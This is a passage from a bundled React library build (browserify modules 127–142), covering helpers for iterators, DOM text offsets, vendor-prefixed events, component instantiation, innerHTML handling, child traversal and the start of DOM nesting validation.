maybeIterable && (ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL]);\n  if (typeof iteratorFn === 'function') {\n    return iteratorFn;\n  }\n}\n\nmodule.exports = getIteratorFn;\n},{}],128:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getNativeComponentFromComposite\n */\n\n'use strict';\n\nvar ReactNodeTypes = _dereq_(79);\n\nfunction getNativeComponentFromComposite(inst) {\n  var type;\n\n  while ((type = inst._renderedNodeType) === ReactNodeTypes.COMPOSITE) {\n    inst = inst._renderedComponent;\n  }\n\n  if (type === ReactNodeTypes.NATIVE) {\n    return inst._renderedComponent;\n  } else if (type === ReactNodeTypes.EMPTY) {\n    return null;\n  }\n}\n\nmodule.exports = getNativeComponentFromComposite;\n},{\"79\":79}],129:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getNodeForCharacterOffset\n */\n\n'use strict';\n\n/**\n * Given any node return the first leaf node without children.\n *\n * @param {DOMElement|DOMTextNode} node\n * @return {DOMElement|DOMTextNode}\n */\n\nfunction getLeafNode(node) {\n  while (node && node.firstChild) {\n    node = node.firstChild;\n  }\n  return node;\n}\n\n/**\n * Get the next sibling within a container. This will walk up the\n * DOM if a node's siblings have been exhausted.\n *\n * @param {DOMElement|DOMTextNode} node\n * @return {?DOMElement|DOMTextNode}\n */\nfunction getSiblingNode(node) {\n  while (node) {\n    if (node.nextSibling) {\n      return node.nextSibling;\n    }\n    node = node.parentNode;\n  }\n}\n\n/**\n * Get object describing the nodes which contain characters at offset.\n *\n * @param {DOMElement|DOMTextNode} root\n * @param {number} offset\n * @return {?object}\n */\nfunction getNodeForCharacterOffset(root, offset) {\n  var node = getLeafNode(root);\n  var nodeStart = 0;\n  var nodeEnd = 0;\n\n  while (node) {\n    if (node.nodeType === 3) {\n      nodeEnd = nodeStart + node.textContent.length;\n\n      if (nodeStart <= offset && nodeEnd >= offset) {\n        return {\n          node: node,\n          offset: offset - nodeStart\n        };\n      }\n\n      nodeStart = nodeEnd;\n    }\n\n    node = getLeafNode(getSiblingNode(node));\n  }\n}\n\nmodule.exports = getNodeForCharacterOffset;\n},{}],130:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getTextContentAccessor\n */\n\n'use strict';\n\nvar ExecutionEnvironment = _dereq_(144);\n\nvar contentKey = null;\n\n/**\n * Gets the key used to access text content on a DOM node.\n *\n * @return {?string} Key used to access text content.\n * @internal\n */\nfunction getTextContentAccessor() {\n  if (!contentKey && ExecutionEnvironment.canUseDOM) {\n    // Prefer textContent to innerText because many browsers support both but\n    // SVG <text> elements don't support innerText even when <div> does.\n    contentKey = 'textContent' in document.documentElement ? 'textContent' : 'innerText';\n  }\n  return contentKey;\n}\n\nmodule.exports = getTextContentAccessor;\n},{\"144\":144}],131:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getVendorPrefixedEventName\n */\n\n'use strict';\n\nvar ExecutionEnvironment = _dereq_(144);\n\n/**\n * Generate a mapping of standard vendor prefixes using the defined style property and event name.\n *\n * @param {string} styleProp\n * @param {string} eventName\n * @returns {object}\n */\nfunction makePrefixMap(styleProp, eventName) {\n  var prefixes = {};\n\n  prefixes[styleProp.toLowerCase()] = eventName.toLowerCase();\n  prefixes['Webkit' + styleProp] = 'webkit' + eventName;\n  prefixes['Moz' + styleProp] = 'moz' + eventName;\n  prefixes['ms' + styleProp] = 'MS' + eventName;\n  prefixes['O' + styleProp] = 'o' + eventName.toLowerCase();\n\n  return prefixes;\n}\n\n/**\n * A list of event names to a configurable list of vendor prefixes.\n */\nvar vendorPrefixes = {\n  animationend: makePrefixMap('Animation', 'AnimationEnd'),\n  animationiteration: makePrefixMap('Animation', 'AnimationIteration'),\n  animationstart: makePrefixMap('Animation', 'AnimationStart'),\n  transitionend: makePrefixMap('Transition', 'TransitionEnd')\n};\n\n/**\n * Event names that have already been detected and prefixed (if applicable).\n */\nvar prefixedEventNames = {};\n\n/**\n * Element to check for prefixes on.\n */\nvar style = {};\n\n/**\n * Bootstrap if a DOM exists.\n */\nif (ExecutionEnvironment.canUseDOM) {\n  style = document.createElement('div').style;\n\n  // On some platforms, in particular some releases of Android 4.x,\n  // the un-prefixed \"animation\" and \"transition\" properties are defined on the\n  // style object but the events that fire will still be prefixed, so we need\n  // to check if the un-prefixed events are usable, and if not remove them from the map.\n  if (!('AnimationEvent' in window)) {\n    delete vendorPrefixes.animationend.animation;\n    delete vendorPrefixes.animationiteration.animation;\n    delete vendorPrefixes.animationstart.animation;\n  }\n\n  // Same as above\n  if (!('TransitionEvent' in window)) {\n    delete vendorPrefixes.transitionend.transition;\n  }\n}\n\n/**\n * Attempts to determine the correct vendor prefixed event name.\n *\n * @param {string} eventName\n * @returns {string}\n */\nfunction getVendorPrefixedEventName(eventName) {\n  if (prefixedEventNames[eventName]) {\n    return prefixedEventNames[eventName];\n  } else if (!vendorPrefixes[eventName]) {\n    return eventName;\n  }\n\n  var prefixMap = vendorPrefixes[eventName];\n\n  for (var styleProp in prefixMap) {\n    if (prefixMap.hasOwnProperty(styleProp) && styleProp in style) {\n      return prefixedEventNames[eventName] = prefixMap[styleProp];\n    }\n  }\n\n  return '';\n}\n\nmodule.exports = getVendorPrefixedEventName;\n},{\"144\":144}],132:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule instantiateReactComponent\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar ReactCompositeComponent = _dereq_(34);\nvar ReactEmptyComponent = _dereq_(64);\nvar ReactNativeComponent = _dereq_(78);\n\nvar invariant = _dereq_(158);\nvar warning = _dereq_(168);\n\n// To avoid a cyclic dependency, we create the final class in this module\nvar ReactCompositeComponentWrapper = function (element) {\n  this.construct(element);\n};\n_assign(ReactCompositeComponentWrapper.prototype, ReactCompositeComponent.Mixin, {\n  _instantiateReactComponent: instantiateReactComponent\n});\n\nfunction getDeclarationErrorAddendum(owner) {\n  if (owner) {\n    var name = owner.getName();\n    if (name) {\n      return ' Check the render method of `' + name + '`.';\n    }\n  }\n  return '';\n}\n\n/**\n * Check if the type reference is a known internal type. I.e. not a user\n * provided composite type.\n *\n * @param {function} type\n * @return {boolean} Returns true if this is a valid internal type.\n */\nfunction isInternalComponentType(type) {\n  return typeof type === 'function' && typeof type.prototype !== 'undefined' && typeof type.prototype.mountComponent === 'function' && typeof type.prototype.receiveComponent === 'function';\n}\n\n/**\n * Given a ReactNode, create an instance that will actually be mounted.\n *\n * @param {ReactNode} node\n * @return {object} A new instance of the element's constructor.\n * @protected\n */\nfunction instantiateReactComponent(node) {\n  var instance;\n\n  if (node === null || node === false) {\n    instance = ReactEmptyComponent.create(instantiateReactComponent);\n  } else if (typeof node === 'object') {\n    var element = node;\n    !(element && (typeof element.type === 'function' || typeof element.type === 'string')) ? \"development\" !== 'production' ? invariant(false, 'Element type is invalid: expected a string (for built-in components) ' + 'or a class/function (for composite components) but got: %s.%s', element.type == null ? element.type : typeof element.type, getDeclarationErrorAddendum(element._owner)) : invariant(false) : void 0;\n\n    // Special case string values\n    if (typeof element.type === 'string') {\n      instance = ReactNativeComponent.createInternalComponent(element);\n    } else if (isInternalComponentType(element.type)) {\n      // This is temporarily available for custom components that are not string\n      // representations. I.e. ART. Once those are updated to use the string\n      // representation, we can drop this code path.\n      instance = new element.type(element);\n    } else {\n      instance = new ReactCompositeComponentWrapper(element);\n    }\n  } else if (typeof node === 'string' || typeof node === 'number') {\n    instance = ReactNativeComponent.createInstanceForText(node);\n  } else {\n    !false ? \"development\" !== 'production' ? invariant(false, 'Encountered invalid React node of type %s', typeof node) : invariant(false) : void 0;\n  }\n\n  if (\"development\" !== 'production') {\n    \"development\" !== 'production' ? warning(typeof instance.mountComponent === 'function' && typeof instance.receiveComponent === 'function' && typeof instance.getNativeNode === 'function' && typeof instance.unmountComponent === 'function', 'Only React Components can be mounted.') : void 0;\n  }\n\n  // These two fields are used by the DOM and ART diffing algorithms\n  // respectively. Instead of using expandos on components, we should be\n  // storing the state needed by the diffing algorithms elsewhere.\n  instance._mountIndex = 0;\n  instance._mountImage = null;\n\n  if (\"development\" !== 'production') {\n    instance._isOwnerNecessary = false;\n    instance._warnedAboutRefsInRender = false;\n  }\n\n  // Internal instances should fully constructed at this point, so they should\n  // not get any new fields added to them at this point.\n  if (\"development\" !== 'production') {\n    if (Object.preventExtensions) {\n      Object.preventExtensions(instance);\n    }\n  }\n\n  return instance;\n}\n\nmodule.exports = instantiateReactComponent;\n},{\"158\":158,\"168\":168,\"169\":169,\"34\":34,\"64\":64,\"78\":78}],133:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule isEventSupported\n */\n\n'use strict';\n\nvar ExecutionEnvironment = _dereq_(144);\n\nvar useHasFeature;\nif (ExecutionEnvironment.canUseDOM) {\n  useHasFeature = document.implementation && document.implementation.hasFeature &&\n  // always returns true in newer browsers as per the standard.\n  // @see http://dom.spec.whatwg.org/#dom-domimplementation-hasfeature\n  document.implementation.hasFeature('', '') !== true;\n}\n\n/**\n * Checks if an event is supported in the current execution environment.\n *\n * NOTE: This will not work correctly for non-generic events such as `change`,\n * `reset`, `load`, `error`, and `select`.\n *\n * Borrows from Modernizr.\n *\n * @param {string} eventNameSuffix Event name, e.g. \"click\".\n * @param {?boolean} capture Check if the capture phase is supported.\n * @return {boolean} True if the event is supported.\n * @internal\n * @license Modernizr 3.0.0pre (Custom Build) | MIT\n */\nfunction isEventSupported(eventNameSuffix, capture) {\n  if (!ExecutionEnvironment.canUseDOM || capture && !('addEventListener' in document)) {\n    return false;\n  }\n\n  var eventName = 'on' + eventNameSuffix;\n  var isSupported = eventName in document;\n\n  if (!isSupported) {\n    var element = document.createElement('div');\n    element.setAttribute(eventName, 'return;');\n    isSupported = typeof element[eventName] === 'function';\n  }\n\n  if (!isSupported && useHasFeature && eventNameSuffix === 'wheel') {\n    // This is the only way to test support for the `wheel` event in IE9+.\n    isSupported = document.implementation.hasFeature('Events.wheel', '3.0');\n  }\n\n  return isSupported;\n}\n\nmodule.exports = isEventSupported;\n},{\"144\":144}],134:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule isTextInputElement\n */\n\n'use strict';\n\n/**\n * @see http://www.whatwg.org/specs/web-apps/current-work/multipage/the-input-element.html#input-type-attr-summary\n */\n\nvar supportedInputTypes = {\n  'color': true,\n  'date': true,\n  'datetime': true,\n  'datetime-local': true,\n  'email': true,\n  'month': true,\n  'number': true,\n  'password': true,\n  'range': true,\n  'search': true,\n  'tel': true,\n  'text': true,\n  'time': true,\n  'url': true,\n  'week': true\n};\n\nfunction isTextInputElement(elem) {\n  var nodeName = elem && elem.nodeName && elem.nodeName.toLowerCase();\n  return nodeName && (nodeName === 'input' && supportedInputTypes[elem.type] || nodeName === 'textarea');\n}\n\nmodule.exports = isTextInputElement;\n},{}],135:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule onlyChild\n */\n'use strict';\n\nvar ReactElement = _dereq_(62);\n\nvar invariant = _dereq_(158);\n\n/**\n * Returns the first child in a collection of children and verifies that there\n * is only one child in the collection. The current implementation of this\n * function assumes that a single child gets passed without a wrapper, but the\n * purpose of this helper function is to abstract away the particular structure\n * of children.\n *\n * @param {?object} children Child collection structure.\n * @return {ReactElement} The first and only `ReactElement` contained in the\n * structure.\n */\nfunction onlyChild(children) {\n  !ReactElement.isValidElement(children) ? \"development\" !== 'production' ? invariant(false, 'onlyChild must be passed a children with exactly one child.') : invariant(false) : void 0;\n  return children;\n}\n\nmodule.exports = onlyChild;\n},{\"158\":158,\"62\":62}],136:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule quoteAttributeValueForBrowser\n */\n\n'use strict';\n\nvar escapeTextContentForBrowser = _dereq_(119);\n\n/**\n * Escapes attribute value to prevent scripting attacks.\n *\n * @param {*} value Value to escape.\n * @return {string} An escaped string.\n */\nfunction quoteAttributeValueForBrowser(value) {\n  return '\"' + escapeTextContentForBrowser(value) + '\"';\n}\n\nmodule.exports = quoteAttributeValueForBrowser;\n},{\"119\":119}],137:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n* @providesModule renderSubtreeIntoContainer\n*/\n\n'use strict';\n\nvar ReactMount = _dereq_(75);\n\nmodule.exports = ReactMount.renderSubtreeIntoContainer;\n},{\"75\":75}],138:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule setInnerHTML\n */\n\n'use strict';\n\nvar ExecutionEnvironment = _dereq_(144);\n\nvar WHITESPACE_TEST = /^[ \\r\\n\\t\\f]/;\nvar NONVISIBLE_TEST = /<(!--|link|noscript|meta|script|style)[ \\r\\n\\t\\f\\/>]/;\n\nvar createMicrosoftUnsafeLocalFunction = _dereq_(117);\n\n/**\n * Set the innerHTML property of a node, ensuring that whitespace is preserved\n * even in IE8.\n *\n * @param {DOMElement} node\n * @param {string} html\n * @internal\n */\nvar setInnerHTML = createMicrosoftUnsafeLocalFunction(function (node, html) {\n  node.innerHTML = html;\n});\n\nif (ExecutionEnvironment.canUseDOM) {\n  // IE8: When updating a just created node with innerHTML only leading\n  // whitespace is removed. When updating an existing node with innerHTML\n  // whitespace in root TextNodes is also collapsed.\n  // @see quirksmode.org/bugreports/archives/2004/11/innerhtml_and_t.html\n\n  // Feature detection; only IE8 is known to behave improperly like this.\n  var testElement = document.createElement('div');\n  testElement.innerHTML = ' ';\n  if (testElement.innerHTML === '') {\n    setInnerHTML = function (node, html) {\n      // Magic theory: IE8 supposedly differentiates between added and updated\n      // nodes when processing innerHTML, innerHTML on updated nodes suffers\n      // from worse whitespace behavior. Re-adding a node like this triggers\n      // the initial and more favorable whitespace behavior.\n      // TODO: What to do on a detached node?\n      if (node.parentNode) {\n        node.parentNode.replaceChild(node, node);\n      }\n\n      // We also implement a workaround for non-visible tags disappearing into\n      // thin air on IE8, this only happens if there is no visible text\n      // in-front of the non-visible tags. Piggyback on the whitespace fix\n      // and simply check if any non-visible tags appear in the source.\n      if (WHITESPACE_TEST.test(html) || html[0] === '<' && NONVISIBLE_TEST.test(html)) {\n        // Recover leading whitespace by temporarily prepending any character.\n        // \\uFEFF has the potential advantage of being zero-width/invisible.\n        // UglifyJS drops U+FEFF chars when parsing, so use String.fromCharCode\n        // in hopes that this is preserved even if \"\\uFEFF\" is transformed to\n        // the actual Unicode character (by Babel, for example).\n        // https://github.com/mishoo/UglifyJS2/blob/v2.4.20/lib/parse.js#L216\n        node.innerHTML = String.fromCharCode(0xFEFF) + html;\n\n        // deleteData leaves an empty `TextNode` which offsets the index of all\n        // children. Definitely want to avoid this.\n        var textNode = node.firstChild;\n        if (textNode.data.length === 1) {\n          node.removeChild(textNode);\n        } else {\n          textNode.deleteData(0, 1);\n        }\n      } else {\n        node.innerHTML = html;\n      }\n    };\n  }\n  testElement = null;\n}\n\nmodule.exports = setInnerHTML;\n},{\"117\":117,\"144\":144}],139:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule setTextContent\n */\n\n'use strict';\n\nvar ExecutionEnvironment = _dereq_(144);\nvar escapeTextContentForBrowser = _dereq_(119);\nvar setInnerHTML = _dereq_(138);\n\n/**\n * Set the textContent property of a node, ensuring that whitespace is preserved\n * even in IE8. innerText is a poor substitute for textContent and, among many\n * issues, inserts <br> instead of the literal newline chars. innerHTML behaves\n * as it should.\n *\n * @param {DOMElement} node\n * @param {string} text\n * @internal\n */\nvar setTextContent = function (node, text) {\n  node.textContent = text;\n};\n\nif (ExecutionEnvironment.canUseDOM) {\n  if (!('textContent' in document.documentElement)) {\n    setTextContent = function (node, text) {\n      setInnerHTML(node, escapeTextContentForBrowser(text));\n    };\n  }\n}\n\nmodule.exports = setTextContent;\n},{\"119\":119,\"138\":138,\"144\":144}],140:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule shouldUpdateReactComponent\n */\n\n'use strict';\n\n/**\n * Given a `prevElement` and `nextElement`, determines if the existing\n * instance should be updated as opposed to being destroyed or replaced by a new\n * instance. Both arguments are elements. This ensures that this logic can\n * operate on stateless trees without any backing instance.\n *\n * @param {?object} prevElement\n * @param {?object} nextElement\n * @return {boolean} True if the existing instance should be updated.\n * @protected\n */\n\nfunction shouldUpdateReactComponent(prevElement, nextElement) {\n  var prevEmpty = prevElement === null || prevElement === false;\n  var nextEmpty = nextElement === null || nextElement === false;\n  if (prevEmpty || nextEmpty) {\n    return prevEmpty === nextEmpty;\n  }\n\n  var prevType = typeof prevElement;\n  var nextType = typeof nextElement;\n  if (prevType === 'string' || prevType === 'number') {\n    return nextType === 'string' || nextType === 'number';\n  } else {\n    return nextType === 'object' && prevElement.type === nextElement.type && prevElement.key === nextElement.key;\n  }\n}\n\nmodule.exports = shouldUpdateReactComponent;\n},{}],141:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule traverseAllChildren\n */\n\n'use strict';\n\nvar ReactCurrentOwner = _dereq_(35);\nvar ReactElement = _dereq_(62);\n\nvar getIteratorFn = _dereq_(127);\nvar invariant = _dereq_(158);\nvar KeyEscapeUtils = _dereq_(23);\nvar warning = _dereq_(168);\n\nvar SEPARATOR = '.';\nvar SUBSEPARATOR = ':';\n\n/**\n * TODO: Test that a single child and an array with one item have the same key\n * pattern.\n */\n\nvar didWarnAboutMaps = false;\n\n/**\n * Generate a key string that identifies a component within a set.\n *\n * @param {*} component A component that could contain a manual key.\n * @param {number} index Index that is used if a manual key is not provided.\n * @return {string}\n */\nfunction getComponentKey(component, index) {\n  // Do some typechecking here since we call this blindly. We want to ensure\n  // that we don't block potential future ES APIs.\n  if (component && typeof component === 'object' && component.key != null) {\n    // Explicit key\n    return KeyEscapeUtils.escape(component.key);\n  }\n  // Implicit key determined by the index in the set\n  return index.toString(36);\n}\n\n/**\n * @param {?*} children Children tree container.\n * @param {!string} nameSoFar Name of the key path so far.\n * @param {!function} callback Callback to invoke with each child found.\n * @param {?*} traverseContext Used to pass information throughout the traversal\n * process.\n * @return {!number} The number of children in this subtree.\n */\nfunction traverseAllChildrenImpl(children, nameSoFar, callback, traverseContext) {\n  var type = typeof children;\n\n  if (type === 'undefined' || type === 'boolean') {\n    // All of the above are perceived as null.\n    children = null;\n  }\n\n  if (children === null || type === 'string' || type === 'number' || ReactElement.isValidElement(children)) {\n    callback(traverseContext, children,\n    // If it's the only child, treat the name as if it was wrapped in an array\n    // so that it's consistent if the number of children grows.\n    nameSoFar === '' ? SEPARATOR + getComponentKey(children, 0) : nameSoFar);\n    return 1;\n  }\n\n  var child;\n  var nextName;\n  var subtreeCount = 0; // Count of children found in the current subtree.\n  var nextNamePrefix = nameSoFar === '' ? SEPARATOR : nameSoFar + SUBSEPARATOR;\n\n  if (Array.isArray(children)) {\n    for (var i = 0; i < children.length; i++) {\n      child = children[i];\n      nextName = nextNamePrefix + getComponentKey(child, i);\n      subtreeCount += traverseAllChildrenImpl(child, nextName, callback, traverseContext);\n    }\n  } else {\n    var iteratorFn = getIteratorFn(children);\n    if (iteratorFn) {\n      var iterator = iteratorFn.call(children);\n      var step;\n      if (iteratorFn !== children.entries) {\n        var ii = 0;\n        while (!(step = iterator.next()).done) {\n          child = step.value;\n          nextName = nextNamePrefix + getComponentKey(child, ii++);\n          subtreeCount += traverseAllChildrenImpl(child, nextName, callback, traverseContext);\n        }\n      } else {\n        if (\"development\" !== 'production') {\n          \"development\" !== 'production' ? warning(didWarnAboutMaps, 'Using Maps as children is not yet fully supported. It is an ' + 'experimental feature that might be removed. Convert it to a ' + 'sequence / iterable of keyed ReactElements instead.') : void 0;\n          didWarnAboutMaps = true;\n        }\n        // Iterator will provide entry [k,v] tuples rather than values.\n        while (!(step = iterator.next()).done) {\n          var entry = step.value;\n          if (entry) {\n            child = entry[1];\n            nextName = nextNamePrefix + KeyEscapeUtils.escape(entry[0]) + SUBSEPARATOR + getComponentKey(child, 0);\n            subtreeCount += traverseAllChildrenImpl(child, nextName, callback, traverseContext);\n          }\n        }\n      }\n    } else if (type === 'object') {\n      var addendum = '';\n      if (\"development\" !== 'production') {\n        addendum = ' If you meant to render a collection of children, use an array ' + 'instead or wrap the object using createFragment(object) from the ' + 'React add-ons.';\n        if (children._isReactElement) {\n          addendum = ' It looks like you\\'re using an element created by a different ' + 'version of React. Make sure to use only one copy of React.';\n        }\n        if (ReactCurrentOwner.current) {\n          var name = ReactCurrentOwner.current.getName();\n          if (name) {\n            addendum += ' Check the render method of `' + name + '`.';\n          }\n        }\n      }\n      var childrenString = String(children);\n      !false ? \"development\" !== 'production' ? invariant(false, 'Objects are not valid as a React child (found: %s).%s', childrenString === '[object Object]' ? 'object with keys {' + Object.keys(children).join(', ') + '}' : childrenString, addendum) : invariant(false) : void 0;\n    }\n  }\n\n  return subtreeCount;\n}\n\n/**\n * Traverses children that are typically specified as `props.children`, but\n * might also be specified through attributes:\n *\n * - `traverseAllChildren(this.props.children, ...)`\n * - `traverseAllChildren(this.props.leftPanelChildren, ...)`\n *\n * The `traverseContext` is an optional argument that is passed through the\n * entire traversal. It can be used to store accumulations or anything else that\n * the callback might find relevant.\n *\n * @param {?*} children Children tree object.\n * @param {!function} callback To invoke upon traversing each child.\n * @param {?*} traverseContext Context for traversal.\n * @return {!number} The number of children in this subtree.\n */\nfunction traverseAllChildren(children, callback, traverseContext) {\n  if (children == null) {\n    return 0;\n  }\n\n  return traverseAllChildrenImpl(children, '', callback, traverseContext);\n}\n\nmodule.exports = traverseAllChildren;\n},{\"127\":127,\"158\":158,\"168\":168,\"23\":23,\"35\":35,\"62\":62}],142:[function(_dereq_,module,exports){\n/**\n * Copyright 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule validateDOMNesting\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar emptyFunction = _dereq_(150);\nvar warning = _dereq_(168);\n\nvar validateDOMNesting = emptyFunction;\n\nif (\"development\" !== 'production') {\n  // This validation code was written based on the HTML5 parsing spec:\n  // https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-scope\n  //\n  // Note: this does not catch all invalid nesting, nor does it try to (as it's\n  // not clear what practical benefit doing so provides); instead, we warn only\n  // for cases where the parser will give a parse tree differing from what React\n  // intended. For example, <b><div></div></b> is invalid but we don't warn\n  // because it still parses correctly; we do warn for other cases like nested\n  // <p> tags where the beginning of the second element implicitly closes the\n  // first, causing a confusing mess.\n\n  // https://html.spec.whatwg.org/multipage/syntax.html#special\n  var specialTags = ['address', 'applet', 'area', 'article', 'aside', 'base', 'basefont', 'bgsound', 'blockquote', 'body', 'br', 'button', 'caption', 'center', 'col', 'colgroup', 'dd', 'details', 'dir', 'div', 'dl', 'dt', 'embed', 'fieldset', 'figcaption', 'figure', 'footer', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header', 'hgroup', 'hr', 'html', 'iframe', 'img', 'input', 'isindex', 'li', 'link', 'listing', 'main', 'marquee', 'menu', 'menuitem', 'meta', 'nav', 'noembed', 'noframes', 'noscript', 'object', 'ol', 'p', 'param', 'plaintext', 'pre', 'script', 'section', 'select', 'source', 'style', 'summary', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'title', 'tr', 'track', 'ul', 'wbr', 'xmp'];\n\n  // https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-scope\n  var inScopeTags = ['applet', 'caption', 'html', 'table', 'td', 'th', 'marquee', 'object', 'template',\n\n  // https://html.spec.whatwg.org/multipage/syntax.html#html-integration-point\n  // TODO: Distinguish by namespace here -- for <title>, including it here\n  // errs on the side of fewer warnings\n  'foreignObject', 'desc', 'title'];\n\n  // https://html.spec.whatwg.org/multipage/syntax.html#has-an-element-in-button-scope\n  var buttonScopeTags = inScopeTags.concat(['button']);\n\n  // https://html.spec.whatwg.org/multipage/syntax.html#generate-implied-end-tags\n  var impliedEndTags = ['dd', 'dt', 'li', 'option', 'optgroup', 'p', 'rp', 'rt'];\n\n  var emptyAncestorInfo = {\n    current: null,\n\n    formTag: null,\n    aTagInScope: null,\n    buttonTagInScope: null,\n    nobrTagInScope: null,\n    pTagInButtonScope: null,\n\n    listItemTagAutoclosing: null,\n    dlItemTagAutoclosing: null\n  };\n\n  var updatedAncestorInfo = function (oldInfo, tag, instance) {\n    var ancestorInfo = _assign({}, oldInfo || emptyAncestorInfo);\n    var info = { tag: tag, instance: instance };\n\n    if (inScopeTags.indexOf(tag) !== -1) {\n      ancestorInfo.aTagInScope = null;\n      ancestorInfo.buttonTagInScope = null;\n      ancestorInfo.nobrTagInScope = null;\n    }\n    if (buttonScopeTags.indexOf(tag) !== -1) {\n      ancestorInfo.pTagInButtonScope = null;\n    }\n\n    // See rules for 'li', 'dd', 'dt' start tags in\n    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody\n    if (specialTags.indexOf(tag) !== -1 && tag !== 'address' && tag !== 'div' && tag !== 'p') {\n      ancestorInfo.listItemTagAutoclosing = null;\n      ancestorInfo.dlItemTagAutoclosing = null;\n    }\n\n    ancestorInfo.current = info;\n\n    if (tag === 'form') {\n      ancestorInfo.formTag = info;\n    }\n    if (tag === 'a') {\n      ancestorInfo.aTagInScope = info;\n    }\n    if (tag === 'button') {\n      ancestorInfo.buttonTagInScope = info;\n    }\n    if (tag === 'nobr') {\n      ancestorInfo.nobrTagInScope = info;\n    }\n    if (tag === 'p') {\n      ancestorInfo.pTagInButtonScope = info;\n    }\n    if (tag === 'li') {\n      ancestorInfo.listItemTagAutoclosing = info;\n    }\n    if (tag === 'dd' || tag === 'dt') {\n      ancestorInfo.dlItemTagAutoclosing = info;\n    }\n\n    return ancestorInfo;\n  };\n\n  /**\n   * Returns whether\n   */\n  var isTagValidWithParent = function (tag, parentTag) {\n    // First, let's check if we're in an unusual parsing mode...\n    switch (parentTag) {\n      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inselect\n      case 'select':\n        return tag === 'option' || tag === 'optgroup' || tag === '#text';\n      case 'optgroup':\n        return tag === 'option' || tag === '#text';\n      // Strictly speaking, seeing an <option> doesn't mean we're in a <select>\n      // but\n      case 'option':\n        return tag === '#text';\n\n      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intd\n      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-incaption\n      // No special behavior since these rules fall back to \"in body\" mode for\n      // all except special table nodes which cause bad parsing behavior anyway.\n\n      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intr\n      case 'tr':\n        return tag === 'th' || tag === 'td' || tag === 'style' || tag === 'script' || tag === 'template';\n\n      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-intbody\n      case 'tbody':\n      case 'thead':\n      case 'tfoot':\n        return tag === 'tr' || tag === 'style' || tag === 